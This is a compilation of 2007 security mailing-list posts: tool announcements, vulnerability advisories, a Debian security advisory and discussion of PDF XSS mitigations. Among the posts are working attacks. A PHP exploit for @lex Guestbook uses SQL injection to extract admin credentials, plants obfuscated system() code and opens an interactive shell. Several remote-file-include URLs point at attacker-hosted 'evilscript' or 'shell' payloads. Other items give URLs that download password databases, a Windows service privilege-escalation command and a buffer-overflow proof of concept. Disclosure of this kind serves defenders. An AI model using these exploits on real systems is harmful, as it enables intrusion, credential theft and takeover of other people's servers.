Re: OpenPinboard = Remote File Include
Hi, I checked the code of 2.0 and 2.0.1 and tested it. There is no risk of Code Injection. If you are still unsure mail me.
0trace - traceroute on established connections
I'd like to announce the availability of a free security reconnaissance / firewall bypassing tool called 0trace. This tool enables the user to perform hop enumeration (traceroute) within an established TCP connection, such as a HTTP or SMTP session. This is opposed to sending stray packets, as traceroute-type tools usually do. The important benefit of using an established connection and matching TCP packets to send a TTL-based probe is that such traffic is happily allowed through by many stateful firewalls and other defenses without further inspection (since it is related to an entry in the connection table). I'm not aware of any public implementations of this technique, even though the concept itself is making rounds since 2000 or so; because of this, I thought it might be a good idea to give it a try. [ Of course, I might be wrong, but Google seems to agree with my assessment. A related use of this idea is 'firewalk' by Schiffman and Goldsmith, a tool to probe firewall ACLs; another utility called 'tcptraceroute' by Michael C. Toren implements TCP SYN probes, but since the tool does not ride an existing connection, it is less likely to succeed (sometimes a handshake must be completed with the NAT device before any traffic is forwarded). ] A good example of the difference is www.ebay.com (66.135.192.124) - a regular UDP/ICMP traceroute and tcptraceroute both end like this: 14 as-0-0.bbr1.SanJose1.Level3.net (64.159.1.133) ... 15 ae-12-53.car2.SanJose1.Level3.net (4.68.123.80) ... 16 * * * 17 * * * 18 * * * Let's do the same using 0trace: we first manually telnet to 66.135.192.124 to port 80, then execute: './0trace.sh eth0 66.135.192.124', and finally enter 'GET / HTTP/1.0' (followed by a single, not two newlines) to solicit some client-server traffic but keep the session alive for the couple of seconds 0trace needs to complete the probe. The output is as follows: 10 80.91.249.14 11 213.248.65.210 12 213.248.83.66 13 4.68.110.81 14 4.68.97.33 15 64.159.1.130 16 4.68.123.48 17 166.90.140.134 --- 18 10.6.1.166 --- new data 19 10.6.1.70 --- Target reached. The last three lines reveal firewalled infrastructure, including private addresses used on the inside of the company. This is obviously an important piece of information as far as penetration testing is concerned. Of course, 0trace won't work everywhere and all the time. The tool will not produce interesting results in the following situations: - Target's firewall drops all outgoing ICMP messages, - Target's firewall does TTL or full-packet rewriting, - There's an application layer proxy / load balancer in the way (Akamai, in-house LBs, etc), - There's no notable layer 3 infrastructure behind the firewall. The tool also has a fairly distinctive TCP signature, and as such, it can be detected by IDS/IPS systems. Enough chatter - the tool is available here (Linux version): http://lcamtuf.coredump.cx/soft/0trace.tgz Note: this is a 30-minute hack that involves C code coupled with a cheesy shellscript. It may not work on non-Linux systems, and may fail on some Linuxes, too. It could be improved in a number of ways - so if you like it, rewrite it. Many thanks for Robert Swiecki (www.swiecki.net) for forcing me to finally give this idea some thought and develop this piece. Cheers, /mz
Re: [Full-disclosure] 0trace - traceroute on established connections
On Sun, 7 Jan 2007, Michal Zalewski wrote: [ Of course, I might be wrong, but Google seems to agree with my assessment. A related use of this idea is 'firewalk' by Schiffman and Goldsmith, a tool to probe firewall ACLs; another utility called 'tcptraceroute' by Michael C. Toren implements TCP SYN probes, but since the tool does not ride an existing connection, it is less likely to succeed (sometimes a handshake must be completed with the NAT device before any traffic is forwarded). ] Erik Kamerling pointed off-the-list that everybody's favourite Dan Kaminsky (www.doxpara.com) did some research on that subject, too; his 'paratrace' followed a similar principle, but relied on the party correcting out-of-sync retransmissions. I found this approach to give poor results in today's networks with overzealous commercial packet filters, and hence, my tool implements an invasive approach where the current session is trashed with in-sync data to solicit a high response rate. Still, a credit is due! Cheers, /mz
@lex Guestbook = 4.0.2 Remote Command Execution Exploit
#!/usr/bin/php
?php
/**
* This file require the PhpSploit class.
* If you want to use this class, the latest
* version can be downloaded from acid-root.new.fr.
**/
require(phpsploitclass.php);
/*/
|
| header @lex Guestbook = 4.0.2 Remote Command Execution Exploit
| header
| status Retrieving the administrator password
| sploit AdminUsername::root
| sploit AdminPassword::toor
| status Trying to get logged in
| sploit Done
| status Trying to add a skin
| sploit Done
| status Writing the malicious skin
| $shell whoami
| darkfig
|
| $shell cat /etc/passwd ...
|
/*/
if($argc 2)
{
print \n-;
print \nAffected.scr..: @lex Guestbook = 4.0.2; // last version
print \nPoc.ID: 20070107;
print \nType..: PHP Code Execution;
print \nRisk.level: High;
print \nSrc.download..: www.alexphpteam.com;
print \nPoc.link..: acid-root.new.fr/poc/20070107.txt;
print \nCredits...: DarkFig;
print \n-;
print \nUsage.: php xpl.php url;
print \nProxyOptions..: proxhost:proxport proxuser:proxpass;
print \nExample...: php xpl.php http://victim.com/@lexgb/;;
print \n-\n;
exit(1);
}
$url=$argv[1];
$prs=$argv[2];
$pra=$argv[3];
$xpl = new phpsploit();
$xpl-agent(Sploitzilla);
if(!empty($prs)) $xpl-proxy($prs);
if(!empty($pra)) $xpl-proxyauth($pra);
/*/
|
| index.php
| =
| ... include($chem_absolu.include/livre_include..$alex_livre_ext);
|
|
| livre_include.php - Local File Inclusion
| =
| ... set_magic_quotes_runtime(0); // thx =)
| ... if (isset($_GET['lang']) $_GET['lang']
file_exists($chem_absolu.languages/.$_GET['lang']...$alex_livre_ext))
| $f_language = str_replace(..,,$_GET['lang']); // We can't use
because of file_exists() verification but ... =]
| include($chem_absolu.languages/.$f_language...$alex_livre_ext);
|
|
| index.php - SQL Injection
| =
| ... sql_select_query(msg, alex_livre_txt_lang, WHERE
lang='.$f_language.' and `type`='titre');
| // SELECT msg FROM `alex_livre_txt_lang` WHERE lang='$f_language' and
type=`titre`
|
/*/
$sql = index.php?lang=english.php%00'%20union%20select%20.
concat('XPLLogin:',(select%20login%20from%20alex_livr.
e_users%20LIMIT%201),'XPLPass:',(select%20pass%20from.
%20alex_livre_users%20LIMIT%201))/*;
print \nheader @lex Guestbook = 4.0.2 Remote Command Execution Exploit;
print \nheader ;
print \nstatus Retrieving the administrator password;
$xpl-get($url.$sql);
if(preg_match('#div
class=d_titleXPLLogin:(.*)XPLPass:(.*)/div#',$xpl-getcontent(),$count))
print \nsploit AdminUsername::.$count[1].\nsploit
AdminPassword::.$count[2];
else die(\nsploit Exploit failed);
print \nstatus Trying to get logged in;
$xpl-post($url.admin/index.php,f_login=.$count[1].f_pass=.$count[2].f_identif=Identification);
if(preg_match(#f_cadres\.php\?f_sid=([a-z0-9]{32})#,$xpl-getheader(),$sid))
print \nsploit Done;
else die(\nsploit Exploit failed);
print \nstatus Trying to add a skin;
// skins.php ... @mkdir($chem_absolu.templates/skins/.$_POST['aj_skin']./,
0755)
$xpl-post($url.admin/skins.php?f_sid=.$sid[1],aj_skin=../../languages/d4h4x0rskinajouter=Ajouter);
if(!preg_match('#alert\(ERREUR\n#',$xpl-getcontent())) print \nsploit Done;
else die(\nsploit Exploit failed);
$scode = chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d)..
chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70)..
chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65)..
chr(0x73).chr(0x28).chr(0x24).chr(0x5f).chr(0x53).chr(0x45)..
chr(0x52).chr(0x56).chr(0x45).chr(0x52).chr(0x5b).chr(0x27)..
chr(0x48).chr(0x54).chr(0x54).chr(0x50).chr(0x5f).chr(0x52)..
chr(0x45).chr(0x46).chr(0x45).chr(0x52).chr(0x45).chr(0x52)..
chr(0x27).chr(0x5d).chr(0x29).chr(0x29).chr(0x3b);
$data = skin_edit=skins.php%3Ff_sid%3D.$sid[1].%26skin_edit.
%3D../../languages/d4h4x0rskinalex_livre=[EMAIL PROTECTED].
val($scode);exit(0);\r\n?add_message=nb_message_pa.
ge=list_pages=corps_messages=space=assembly=enre.
gistrer=Enregistrer;
print \nstatus Writing the malicious skin\n\$shell ;
// skins.php ...
write($chem_absolu.templates/skins/.$_GET['skin_edit']./.$tab_template_guestbook[$i])
$xpl-post($url.admin/skins.php?skin_edit=../../languages/d4h4x0rskinf_sid=.$sid[1],$data);
while(!preg_match(#^(quit|exit)$#,($cmd = trim(fgets(STDIN)
{
$xpl-addheader(Referer,$cmd);
$xpl-get($url.index.php?lang=d4h4x0rskin/alex_livre.css%00);
print $xpl-getcontent();
print \n\$shell ;
}
AJLogin v3.5 Remote Password Disclosure Vulnerability
AJLogin v3.5 Remote Password Disclosure Vulnerability #Software: AJLogin #Version: 3.5 #Download: http://www.randomravings.com/ajasp/dload.asp?file=4 #Found by: beks #Risk: Medium #http://[target]/[AJLogin_Path]/ajlogin.mdb
EMembersPro 1.0 Remote Password Disclosure Vulnerability
EMembersPro 1.0 Remote Password Disclosure Vulnerability #Software: EMembersPro #Version: 1.0 #Download: http://www.keyvan1.com/package/member.zip #Found by: beks #Risk: Medium #http://[target]/[EMembersPro_Path]/users.mdb
MitiSoft Remote Password Disclosure Vulnerability
MitiSoft Remote Password Disclosure Vulnerability #Software: MitiSoft #Download: http://aspindir.com/indir.asp?id=4536 #Found by: beks #Risk: Medium #http://[target]/[MitiSoft_Path]/access_MS/MitiSoft.mdb
HarikaOnline v2.0 Remote Password Disclosure Vulnerability
HarikaOnline v2.0 Remote Password Disclosure Vulnerability #Software: HarikaOnline #Version: 2.0 #Download: http://aspindir.com/indir.asp?id=4563 #Found by: beks #Risk: Medium #http://[target]/[harikaonline_Path]/harikaonline.mdb
Webulas Remote Password Disclosure Vulnerability
Webulas Remote Password Disclosure Vulnerability #Software: Webulas #Download: http://aspindir.com/indir.asp?id=4516 #Found by: beks #Risk: Medium #http://[target]/[Webulas_Path]/db/db.mdb
Uguestbook Remote Password Disclosure Vulnerability
Uguestbook Remote Password Disclosure Vulnerability #Software: Uguestbook #Version: 1.0 #Download: http://www.uapplication.com/download/Uguestbook%20-%201.0.zip #Found by: beks #Risk: Medium #http://[target]/[Uguestbook_Path]/mdb-database/guestbook.mdb
NUNE News Script (custom_admin_path) Remote File Include Vulnerablity
--- NUNE News Script (custom_admin_path) Remote File Include Vulnerablity --- Author: xoron --- Code: if (isset($custom_admin_path)) $special_admin_path = $custom_admin_path; else $special_admin_path = news/admin; require($special_admin_path/config/nune.conf.php); --- 3xplo!t: www.target.com/[script]/index.php?custom_admin_path=http://evilscript? www.target.com/[script]/archives.php?custom_admin_path=http://evilscript? --- download: http://download.sourceforge.net/nune/nune-2.0pre2.tar.gz --- Greetz: str0ke, kacper, GODAttach nukedx'e elveda, kendine iyi bak dostum..! --- # milw0rm.com [2007-01-06]
[SECURITY] [DSA 1245-1] New proftpd packages fix denial of service
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - -- Debian Security Advisory DSA 1245-1[EMAIL PROTECTED] http://www.debian.org/security/ Moritz Muehlenhoff January 7th, 2006 http://www.debian.org/security/faq - -- Package: proftpd Vulnerability : programming error Problem-Type : remote Debian-specific: no CVE ID : CVE-2005-4816 Debian Bug : 404751 Martin Loewer discovered that the proftpd FTP daemon is vulnerable to denial of service if the addon module for Radius authentication is enabled. For the stable distribution (sarge) this problem has been fixed in version 1.2.10-15sarge4. For the upcoming stable distribution (etch) this problem has been fixed in version 1.2.10+1.3.0rc5-1. For the unstable distribution (sid) this problem has been fixed in version 1.2.10+1.3.0rc5-1. We recommend that you upgrade your proftpd package. Upgrade Instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 3.1 alias sarge - Source archives: http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.10-15sarge4.dsc Size/MD5 checksum: 897 4bb3486da273b7f246396e54a672298d http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.10-15sarge4.diff.gz Size/MD5 checksum: 128904 accf444b76dd76b0bf076ada64195e81 http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.10.orig.tar.gz Size/MD5 checksum: 920495 7d2bc5b4b1eef459a78e55c027a4f3c4 Architecture independent components: http://security.debian.org/pool/updates/main/p/proftpd/proftpd-doc_1.2.10-15sarge4_all.deb Size/MD5 checksum: 418032 6c5b89cdad81b31913de87105841dd1e Alpha architecture: http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.10-15sarge4_alpha.deb Size/MD5 checksum: 80 fc8e4d8b8060b9fe582559c7b14af8e7 http://security.debian.org/pool/updates/main/p/proftpd/proftpd-common_1.2.10-15sarge4_alpha.deb Size/MD5 checksum: 200968 9a870951184988f72d9012379a6eaf7a http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1.2.10-15sarge4_alpha.deb Size/MD5 checksum: 457318 6aa9809aee60ee2d6151927f5916ce34 http://security.debian.org/pool/updates/main/p/proftpd/proftpd-mysql_1.2.10-15sarge4_alpha.deb Size/MD5 checksum: 476904 b04b43ec13b396b40e305279e8a980e3 http://security.debian.org/pool/updates/main/p/proftpd/proftpd-pgsql_1.2.10-15sarge4_alpha.deb Size/MD5 checksum: 476558 7ac9fb101fa756968c958f5bf47c7686 AMD64 architecture: http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.10-15sarge4_amd64.deb Size/MD5 checksum: 389254 6bd512cb4bd2f8a264a4689a67a14bb9 http://security.debian.org/pool/updates/main/p/proftpd/proftpd-common_1.2.10-15sarge4_amd64.deb Size/MD5 checksum: 194764 9f113824505cce070eeec9379c9dc885 http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1.2.10-15sarge4_amd64.deb Size/MD5 checksum: 400208 17f8fbcab75c416bdc0c3814637f48d4 http://security.debian.org/pool/updates/main/p/proftpd/proftpd-mysql_1.2.10-15sarge4_amd64.deb Size/MD5 checksum: 415544 5315d8e9649fe27f5c1903d07c10b578 http://security.debian.org/pool/updates/main/p/proftpd/proftpd-pgsql_1.2.10-15sarge4_amd64.deb Size/MD5 checksum: 415324 00b57a27a56deb76e0a1e39073b6cd25 ARM architecture: http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.10-15sarge4_arm.deb Size/MD5 checksum: 374112 0965c04c1ce8378f51dc14fa3882d8d4 http://security.debian.org/pool/updates/main/p/proftpd/proftpd-common_1.2.10-15sarge4_arm.deb Size/MD5 checksum: 188926 09d5f8d90fbd6226a589e8ebd1779347 http://security.debian.org/pool/updates/main/p/proftpd/proftpd-ldap_1.2.10-15sarge4_arm.deb Size/MD5 checksum: 384246 3bf4887215a5b15f605c9208716bc039 http://security.debian.org/pool/updates/main/p/proftpd/proftpd-mysql_1.2.10-15sarge4_arm.deb Size/MD5 checksum: 399130 6078dc20a109f70eea10bec067933227 http://security.debian.org/pool/updates/main/p/proftpd/proftpd-pgsql_1.2.10-15sarge4_arm.deb Size/MD5 checksum: 398920 fb5286540adc5baa2a768c44ed81b350 HP Precision architecture: http://security.debian.org/pool/updates/main/p/proftpd/proftpd_1.2.10-15sarge4_hppa.deb Size/MD5 checksum:
Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
James Landis wrote: More notes on Amit's remediation algorithm: Putting all of the identifying information into the token weakens the defense because the attacker can mount known plaintext attacks against it. Not precisely. First, the classic definition of known plaintext attacks is that an attacker can observe both the plaintext and the ciphertext, In our case, the attacker does see ciphertext, but he/she does not exactly see the plaintext. Obviously the IP is known, and the server time is known up to some granularity, but if (say) you use the microsecond clock, then an attacker will have a hard time guessing the *exact* plaintext. I don't think known-plaintext attack should worry you if you use an industrial strength encryption, but if you feel like hardening the algorithm against this attack, you can always throw in a random number, or a secret string as part of the plaintext, and discard it upon decryption. Putting things in perspective, even if the attacker breaks the encryption algorithm, they still have to know the IP address of the target. However, a sufficiently clever attacker will simply create a phishing scam which harvests IPs and creates custom URLs for each victim. The algorithm will also be weakened against individually targeted attacks because like you said, it does not protect users which appear to come from the same IP to the Web server. Even if the attacker knows the exact IP address of the victim, I don't see how this helps much. A good encryption algorithm will withstand a known plaintext attack. And since the attacker cannot fake TCP traffic coming from the victim's IP (unless the attacker and victim go out to the Internet from the same IP, or unless the attacker uses IP spoofing techniques not suitable for our kind of attacks), I don't see how the attacker can acquire a valid token for the attack. Amit's solution is a tradeoff with maintaining state for the unique tokens described by RSnake. Unique tokes or nonces are a more secure solution but using them incurs the additional overhead of tracking the nonces. Amit's algorithm has no tracking overhead. Why are they secure? Please consider the attack scheme I described in http://www.webappsec.org/lists/websecurity/archive/2007-01/msg00065.html -Amit
Dayfox Blog Remote File Include Vuln.
# BhhGroup.Org Bilgi-Yonetimi.Org.Tr # script name : Dayfox Blog # Script Download : http://hotscripts.com/Detailed/66344.html # Risk : High # Found By : ShaFuck31 # Vulnerable file : index.php #Vuln : http://www.victim.com/ScriptPath/index.php?page=[sheLL] http://www.victim.com/ScriptPath/index.php?subject=[sheLL] http://www.victim.com/ScriptPath/index.php?q=[sheLL] # Thanks : 4LL bL4ck h4t us3rs my fr13ndZ #Contact: ShaFuq31 (at) HoTMaiL (dot) CoM [email concealed]
Re: Perforce client: security hole by design
On Thu, Jan 04, 2007 at 08:03:34PM +0100, Ben Bucksch wrote:
[...]
= Proposed fix =
The problem at hand could be easily fixed by letting the client check
out only in the current directory (or one specified by the user on the
commandline or GUI, preferences stored locally), no matter what the
server says. It may put files anywhere underneath that directory, but
never higher or otherwise outside. It must never adhere to absolute
paths from the server. This does require some changes to how client
specs work, though.
[...]
Having not used the product, it's hard to say, but it sounds like
chrooting the client differently for each project on which you're
using it would be a suitable hack to provide a workaround, if a
slightly inefficient one. Of course, I agree this is no substitute
for fixing the application design (and likewise the behavior of the
developers responsible).
--
{ IRL(Jeremy_Stanley); PGP(9E8DFF2E4F5995F8FEADDC5829ABF7441FB84657);
SMTP([EMAIL PROTECTED]); IRC([EMAIL PROTECTED]); ICQ(114362511);
AIM(dreadazathoth); YAHOO(crawlingchaoslabs); FINGER([EMAIL PROTECTED]);
MUD([EMAIL PROTECTED]:6669); WWW(http://fungi.yuggoth.org/); }
GeoBB Georgian Bulletin Board Remote File Include Vuln.
# BhhGroup.Org Bilgi-Yonetimi.Org.Tr # script name : GeoBB Georgian Bulletin Board # Script Download : http://hotscripts.com/Detailed/58100.html # Risk : High # Found By : ShaFuck31 # Vulnerable file : index.php Vuln. Code: require($action.'.php'); #Vuln : http://www.victim.com/ScriptPath/index.php?action=[sheLL] # Thanks : 4LL bL4ck h4t us3rs my fr13ndZ #Contact: ShaFuq31 (at) HoTMaiL (dot) CoM [email concealed]
Re: SAP Security Contact
Thor, On 2007-01-05 Thor (Hammer of God) wrote: You guys might want to put that on your web site. Probably somewhere under Contact Us so that it is easy to, um, contact you specifically for security issues. [...] Something like [EMAIL PROTECTED] may seem obvious, but it's better if you list specific contact info so it can be easily found. security@ is one of the role mailboxes specified by RFC 2142, so it really *is* that obvious. However, I agree that despite of this it would be better practice to put the address on the web site. Even more since proper use of role mailboxes seems to have become the exception rather than the rule nowadays. Regards Ansgar Wiechers -- All vulnerabilities deserve a public fear period prior to patches becoming available. --Jason Coombs on Bugtraq
TK53 Advisory #1: CenterICQ remote DoS buffer overflow in LiveJournal handling
TK53 Advisory #1 01/07/2007
- CenterICQ remote DoS buffer overflow in Livejournal handling
* Authors: Lolek of TK53 [EMAIL PROTECTED], Roflek of TK53
[EMAIL PROTECTED]
* Affected program: CenterICQ (http://thekonst.net/centericq/)
* Affected versions: 4.9.11 - 4.21.0
* Overwiew:
CenterICQ contains support for LiveJournal (http://www.livejournal.com/),
such as posting to your own blog, reading other blogs' RSS feeds, and other
community-related functions, such as showing whether a user has added or
removed your own users to/from the friend list, all via a unified HTTP
interface provided by LiveJournal. The latter functionality is vulnerable
to a buffer overflow and possible remote code execution.
== Vulnerability Details ==
$SOURCE/src/hooks/ljhook.cc:
char buf[512];
...
if(find(friendof.begin(), friendof.end(), in-first) ==
friendof.end()) {
friendof.push_back(in-first);
if(!foempty) {
bd = (string) http://; +
conf.getourid(proto).server + /users/ + in-first;
sprintf(buf, _(The user %s (%s) has added you to
his/her friend list\n\nJournal address: %s),
in-first.c_str(), in-second.c_str(), bd.c_str());
em.store(imnotification(self, buf));
}
}
...
CenterICQ regularly checks the server for the friends list (#define
PERIOD_FRIENDS 3600, which means that the check is done every 3600 seconds).
If a user is in the friend list of at least one user, and another user adds the
user to his friend list, foempty gets true, and the sprintf is called, leading
to a buffer overflow in buf. The length of the username (in-first) or the
realname (in-second) are totally unchecked. This means that this will overflow
if: 2*length(username) + length(realname) + length(string literals) =
sizeof(buf)
The only reason why this is not exploitable with the official LiveJournal
servers is because LiveJournal has a length restriction on both the username (15
characters) and the real name (50 characters). But since the server that is used
for communication is configurable within CenterICQ, and since LiveJournal
provides its backend under the GPL, the risk for buffer overflow and
exploitation does exist.
== Proof of Concept Exploit ==
add the following to your ~/.centericq/conf
lj_nick randomname
lj_pass randompass
lj_server localhost:8000
lj_status o
lj_importfriends1
Start the following shell script, then CenterICQ and be patient because of
PERIOD_FRIENDS (3600 seconds, 1 hour) time (or make it 10 or whatever in the
code and recompile).
The following shell script is a very simple proof-of-concept demonstration of
the buffer overflow:
--- SNIP ---
#!/bin/sh
cat req1.txt __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain
friend_1_bg
#ff
friend_1_fg
#00
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ff
friend_2_fg
#00
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ff
friend_3_fg
#00
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ff
friend_4_fg
#00
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ff
friendof_1_fg
#00
friendof_1_name
roflek
friendof_1_user
roflek
friendof_count
1
success
OK
__EOF
cat req2.txt __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain
friend_1_bg
#ff
friend_1_fg
#00
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
#ff
friend_2_fg
#00
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
#ff
friend_3_fg
#00
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
#ff
friend_4_fg
#00
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
#ff
friendof_1_fg
#00
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
#ff
friendof_2_fg
#00
friendof_2_name
foo
friendof_2_user
foo
friendof_count
2
success
OK
__EOF
cat req3.txt __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=fGKzZta9CPnvvx2:1168084310:hbx0; expires=Wednesday,
07-Mar-2007 11:51:50 GMT; domain=.livejournal.com; path=/
Content-length: 558
Connection: close
Content-Type: text/plain
RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
This also works for the affected versions of Opera mentioned elsewhere on the list (9.10, 8.54)... -Original Message- From: Martin O'Neal [mailto:[EMAIL PROTECTED] Sent: 04 January 2007 17:59 To: bugtraq@securityfocus.com; [EMAIL PROTECTED] Subject: RE: [WEB SECURITY] Universal XSS with PDF files: highly dangerous I've had a better look at this now, and there seems to be a generic server side solution through the content-disposition header (at least for the versions of Firefox and IE which I have tested). If it is specified, the default installs of both products always produce a download dialog and don't open inline. Sample apache config for mitigation: IfModule mod_headers.c FilesMatch \.pdf$ Header append Content-disposition attachment; /FilesMatch /IfModule Martin... The Web Security Mailing List: http://www.webappsec.org/lists/websecurity/ The Web Security Mailing List Archives: http://www.webappsec.org/lists/websecurity/archive/ http://www.webappsec.org/rss/websecurity.rss [RSS Feed] -- CONFIDENTIALITY: This e-mail and any files transmitted with it are confidential and intended solely for the use of the recipient(s) only. Any review, retransmission, dissemination or other use of, or taking any action in reliance upon this information by persons or entities other than the intended recipient(s) is prohibited. If you have received this e-mail in error please notify the sender immediately and destroy the material whether stored on a computer or otherwise. -- DISCLAIMER: Any views or opinions presented within this e-mail are solely those of the author and do not necessarily represent those of Corsaire Limited, unless otherwise specifically stated. -- Corsaire Limited, 3 Tannery House, Tannery Lane, Send, Surrey, GU23 7EF Telephone: +44(0)1483-226000 Email:[EMAIL PROTECTED]
MKPortal Full Path Disclosure
MkPortal Full Path Disclosure Vulnerability discovered by: Demential Web: http://headburn.altervista.org E-mail: info[at]burnhead[dot]it Mkportal website: http://www.mkportal.it Tested on MKPortal M1.1 RC1 with PhpBB other versions may also be affected. http://www.victim.com/mkportal/admin.php?MK_PATH=1 Warning: main(mkportal/include/mk_mySQL.php): failed to open stream: No such file or directory in D:\inetpub\webs\victimcom\mkportal\include\PHPBB\php_driverf.php on line 24
Re: Re: Re: [WEB SECURITY] Universal XSS with PDF files: highly dangerous
A correction to my previous post: since THE_REQUEST looks like GET
/foo/bar/baz.pdf HTTP/1.0, the regex used needs to match the space between
pdf and HTTP, so this mod works better:
RewriteCond %{THE_REQUEST} .*\.pdf[^\wA-Za-z0-9._?%-]
Again, YMMV depending on what characters you expect to be valid trailing .pdf
in your application.
HP Multiple Products PML Driver Local Privilege Escalation
HP Multiple Products PML Driver Local Privilege Escalation By Sowhat of Nevis Labs 2007.01.08 http://www.nevisnetworks.com http://secway.org/advisory/AD20070108.txt Vendor Hewlett-Packard Products Affected HP All-In-One products HP PSC 700 series HP PSC 900 series HP PSC 1100 series HP PSC 1200 series HP PSC 1300 series HP PSC 2100 series HP PSC 2200 series HP PSC 2400 Photosmart All-in-one series HP PSC 2500 Photosmart All-in-one series HP Officejet D series HP Officejet G series HP Officejet K series HP Officejet 4100 series HP Officejet 5100 series HP Officejet 5500 series HP Officejet 6100 series HP Officejet 7100 series HP Color LaserJet 4650 Printer series and ??? most probably other products are affected Overview: There is a DACL weakness exists in the HP all-in-one products drivers, which can be exploited by malicious, local users to gain escalated privileges. Details: PML Driver HPZ12 service is installed by lots of the HP products especially the all-in-one products and some other Printers,Scanners,and Copiers. Insecure SERVICE_CHANGE_CONFIG permissions on the PML Driver HPZ12 service can be exploited to gain escalated privileges by changing the associated program. The PML Driver HPZ12 is defaultly installed with the following properties: Name: PML Driver HPZ12 Filename: HPZipm12.exe Description: Used by HP Printer/Scanner/Copier printers to prevent Windows from entering hibernation mode. File Location: %System% Service Name: PML Driver HPZ12 Service Display Name: PML Driver HPZ12 Because of the Insecure DACL, a local unprivileged user can obtain SYSTEM privilege through the following way: C:\sc config pml driver hpz12 binpath= D:\attack\attack.exe C:\sc start pml driver hpz12 OK, your attack.exe will be lunached under SYSTEM privileges immediately, system restart is not required. Even though the PML Driver serivce is not started by default, the attacker can start and stop it by herself :) Exploting this vulnerability allows local non-privileged user to obtain SYSTEM privilege. Workaround: Use SC command to set a tight permissions for the PML Driver HPZ12 service. Vendor Response: 2006.05.29 Vendor notified via [EMAIL PROTECTED] 2006.05.29 Vendor responded 2006.07.20 HP - This is a high priority issue, and is still being worked. There are testing dependencies that are wider than we expected. 2006.12.20 I saw the an auto update of HP software named PML Driver Security Update, so I sent an email to ask about when it was released, why they did not let me know. they said There has been a communication problem here at HP, We have not yet issue a security bulletin on this problem 2007.01.08 They did not response to my status query emails after 20th, Dec Is this HP's Responsible Vulnerability Disclosure Policy? -- Sowhat http://secway.org Life is like a bug, Do you know how to exploit it ?
magic photo storage website Remote File Inclusion
# magic photo storage website Remote File Inclusion # Vendor: http://www.scriptaty.net/magic-photo-storage-website.html # Demo Site : http://www.turnkeydemos.info/demo/picstorage/ # Found By : k1tk4t - k1tk4t[4t]newhack.org # Location : Indonesia -- #newhack[dot]org @irc.dal.net file; common_function.php bug; require_once $_config['site_path'] . '/class/session.class.php'; require_once $_config['site_path'] . '/class/validator.class.php'; require_once $_config['site_path'] . '/include/message.php'; exploit; http://localhost/include/common_function.php?_config[site_path]=http://shell Dork; allinurl:catalog_login.php Thanks; str0ke xoron [www.xoron.biz] [mR]opt1lc,VaL,y3dips,lirva32,the_day,K-159 evilcode,illibero,NoGe,nyubi,x-ace,ghoz, home_edition2001,matdhule,iFX,fusion and for all(friend'senemy) @irc.dal.net #newhack[dot]org [all memberstaff] #e-c-h-o [all member echo community] #asiahacker [all member asiahacker community] #nyubicrew [all member solpotcrew community] -- at irc.komp-uter.org
QASEC Announcement: Writing Software Security Test Cases
I've Just released an article about how the Quality Assurance phase of the development cycle can incorporate security testing into a standard test plan, and make it part of the regular testing cycle. Writing Software Security Test Cases: Putting security test cases into your test plan http://www.qasec.com/cycle/securitytestcases.shtml - Robert [EMAIL PROTECTED] http://www.cgisecurity.com/ http://www.qasec.com/
Packeteer PacketWise CLI overflow DoS
Product: Packeteer PacketShaper Model: 9500/ISP Software: PacketWise 8.x (possibly others) === Background === Packeteer creates bandwidth management solutions such as the PacketShaper which is the ultimate scalable platform for optimized WAN application performancethe only all-in-one solution for extending monitoring, shaping, acceleration and compression as well as centralized reporting and management across the distributed enterprise. === Description === The Packeteer PacketShaper appears to be vulnerable to a buffer overflow which can be triggered by a valid command followed by a long argument (around 1500 bytes). # class show /Inbound/A... There appear to be other places where such behavior can be seen, e.g. via the web interface: https://xx.xx.xx.xx/clastree.htm?POLICY=/Inbound/Filesharing/BitTorrent/A... Both of these examples require either look or touch access to the device. === Impact === The watchdog timer will trigger a unit reset/reboot, which takes around 30 seconds. If there is no bypass mechanism in place (e.g. fiber bypass switch), service will be interrupted. Packeteer has not responded to the initial reports.
Re: [Full-disclosure] Universal XSS with PDF files: highly dangerous
